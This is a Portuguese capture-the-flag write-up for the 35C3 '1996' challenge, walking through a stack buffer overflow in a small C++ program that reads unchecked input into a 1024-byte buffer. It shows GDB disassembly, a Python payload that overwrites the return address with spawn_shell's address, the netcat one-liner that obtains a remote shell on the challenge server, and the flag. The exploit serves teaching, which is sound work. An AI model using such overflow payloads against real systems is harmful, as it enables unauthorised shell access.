Nome: 1996 35C3 CTF
Dificuldade: Muito fácil
Descrição:
It’s 1996 all over again!
nc 35.207.132.47 22227
Levantamento de informações
Ao baixarmos e extrairmos o arquivo zip, obtemos 2 novos arquivos:
root@kali:~/Downloads# unzip 1996-846a46384ff5d85d861c09fc49912def510336e0.zip
Archive: 1996-846a46384ff5d85d861c09fc49912def510336e0.zip
inflating: 1996.cpp
inflating: 1996
Ao abrirmos o arquivo 1996.cpp, podemos ver o seguinte código:
// compile with -no-pie -fno-stack-protector
#include <iostream>
#include <unistd.h>
#include <stdlib.h>
using namespace std;
void spawn_shell() {
char* args[] = {(char*)"/bin/bash", NULL};
execve("/bin/bash", args, NULL);
}
int main() {
char buf[1024];
cout << "Which environment variable do you want to read? ";
cin >> buf;
cout << buf << "=" << getenv(buf) << endl;
}
- Observando o código acima, podemos ver que existe um
bufcom tamanho de1024
Rodando o comando File no linux, obtemos as seguintes informações do binário:
root@kali:~/Downloads# file 1996
1996: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0b17d4a3919a3b046b03d35e2fdba47cd94d6aef, not stripped
Solução
Utilizando o GDB, podemos visualizar o endereço da função spawn_shell( ) vista no código cpp:
(gdb) info functions
all defined functions
...
...
...
...
0x0000000000400897 spawn_shell( )
analisando a função principal do programa, definimos alguns breakpoints para iniciar a solução
(gdb) disas main
Dump of assembler code for function main:
0x00000000004008cd <+0>: push %rbp
0x00000000004008ce <+1>: mov %rsp,%rbp
0x00000000004008d1 <+4>: push %rbx
0x00000000004008d2 <+5>: sub $0x408,%rsp
0x00000000004008d9 <+12>: lea 0x188(%rip),%rsi # 0x400a68
0x00000000004008e7 <+26>: callq 0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x00000000004008ec <+31>: lea -0x410(%rbp),%rax
0x00000000004008f3 <+38>: mov %rax,%rsi
0x00000000004008f6 <+41>: lea 0x200883(%rip),%rdi # 0x601180
...
...
...
0x0000000000400959 <+140>: mov $0x0,%eax
0x000000000040095e <+145>: add $0x408,%rsp
0x0000000000400965 <+152>: pop %rbx
0x0000000000400966 <+153>: pop %rbp
0x0000000000400967 <+154>: retq
End of assembler dump.
(gdb) b * 0x0000000000400959
Breakpoint 1 at 0x0000000000400959
Sabendo do tamanho do nosso buf, usamos o python para criar nosso Payload
r <<< $(python -c 'print "A" * 1040 + "B"*14')
Após alguns testes, obtemos o controle do registrador rip, responsável por obter o endereço da instrução seguinte.
(gdb) info registers
rax 0x0 0
rbx 0x4141414141414141 4702111234474983745
rcx 0x7ffff7d582a4 140737351352996
rdx 0x0 0
rsi 0x7ffff7e288c0 140737352206528
rdi 0x0 0
rbp 0x4242424242424242 0x4242424242424242
rsp 0x7fffffffe1c0 0x7fffffffe1c0
r8 0x7ffff7e288c0 140737352206528
r9 0x7ffff7abfd00 140737348631808
r10 0x328 808
r11 0x246 582
r12 0x4007b0 4196272
r13 0x7fffffffe290 140737488347792
r14 0x0 0
r15 0x0 0
rip 0x424242424242 0x424242424242
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
Com isso, basta sobrescrevermos o endereço de rip por 0x0000000000400897, endereço da função spawn_shell( ).
r <<< $(python -c 'print "A"*1040 + "B"*8 + "\x97\x08\x40\x00\x00\x00"')
- O endereço da função
spawn_shelldeve ser utilizado em Little Endian
Para enviarmos o Payload ao servidor, utilizamos o | para concatenar nossa linha de código com a conexão ao servidor.
(python -c 'print "A"*1040 + "B"*8 + "\x97\x08\x40\x00\x00\x00"') | nc 35.207.132.47 22227
Não obtemos erro, porém, a conexão é quebrada logo em seguida. Para corrigirmos isto, concatenamos ;cat à nossa linha de código. O cat fará com que o /bin/bash mantenha-se ativo enquanto estivermos conectados ao servidor
(python -c 'print "A"*1040 + "B"*8 + "\x97\x08\x40\x00\x00\x00"';cat) | nc 35.207.132.47 22227
...
...
...
Wich environment variable do you want to read? AAAAAAAAAA
AAAA.......@=ls
1996
bin
boot
dev
etc
flag.txt
home
lib
....
cat flag.txt
Flag: 35C3_b29a2800780d85cfc346ce5d64f52e59c8d12c14
Recomendações para entendimento geral